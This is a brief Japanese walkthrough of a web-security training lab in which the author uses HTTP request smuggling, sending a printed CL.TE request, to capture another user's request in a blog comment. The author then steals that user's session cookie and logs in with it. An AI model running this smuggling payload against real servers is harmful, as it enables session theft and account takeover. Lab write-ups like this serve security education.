Hello there, ('ω')ノ
HTTPリクエストの密輸を悪用して、他のユーザーのリクエストをキャプチャを。
このラボにはフロントエンドサーバとバックエンドサーバがあって。
フロントエンドサーバはチャンクエンコーディングをサポートしていなくて。
原理は比較的単純で。
コメントを送信する場所を見つけて。
そのコメントを使用してHTTPスマグリングを実行できて。
まずは、ブログに投稿して動作確認を。
リクエストをリピータへ。
下記のようにパラメータの順序を変えてSendしても。
Content-Length: 99
csrf=eGotjaqCEwal3RiOBMeUyyNA5ErXKOWy&postId=5&name=Neo&email=user%40mail.com&website=&comment=com2
機能することが確認できて。
まずは、Content-Lengthの値を暫定的に設定して。
バックエンドサーバに密輸してレスポンスの確認を。
POST /post/comment HTTP/1.1
Host: ac3a1f081fa500b681bc04f600b700c0.web-security-academy.net
Content-Type: application/x-www-form-urlencoded
Content-Length: 256
Transfer-Encoding: chunked
0
POST /post/comment HTTP/1.1
Content-Type: application/x-www-form-urlencoded
Content-Length: 400
Cookie: session=UJbHw7fNo2Ey3nCWMrRNxQXMdbLvDm61
csrf=eGotjaqCEwal3RiOBMeUyyNA5ErXKOWy&postId=5&name=Neo&email=user%40mail.com&website=&comment=com2
最後のコメントのパラメータにつなぎ合わせることができるので。
他のユーザのリクエストヘッダを確認できるわけで。
段階的にContent-Lengthの値を増加していって。
Content-Length: 705
sessionの値を取得できたところで。
session=uBIDBUY3LHA8nIkRyy42mvtw9c1b1rri
適当なパスワードでログインを。
取得したセッション値と入れ替えると。
クリアできた。
Best regards, (^^ゞ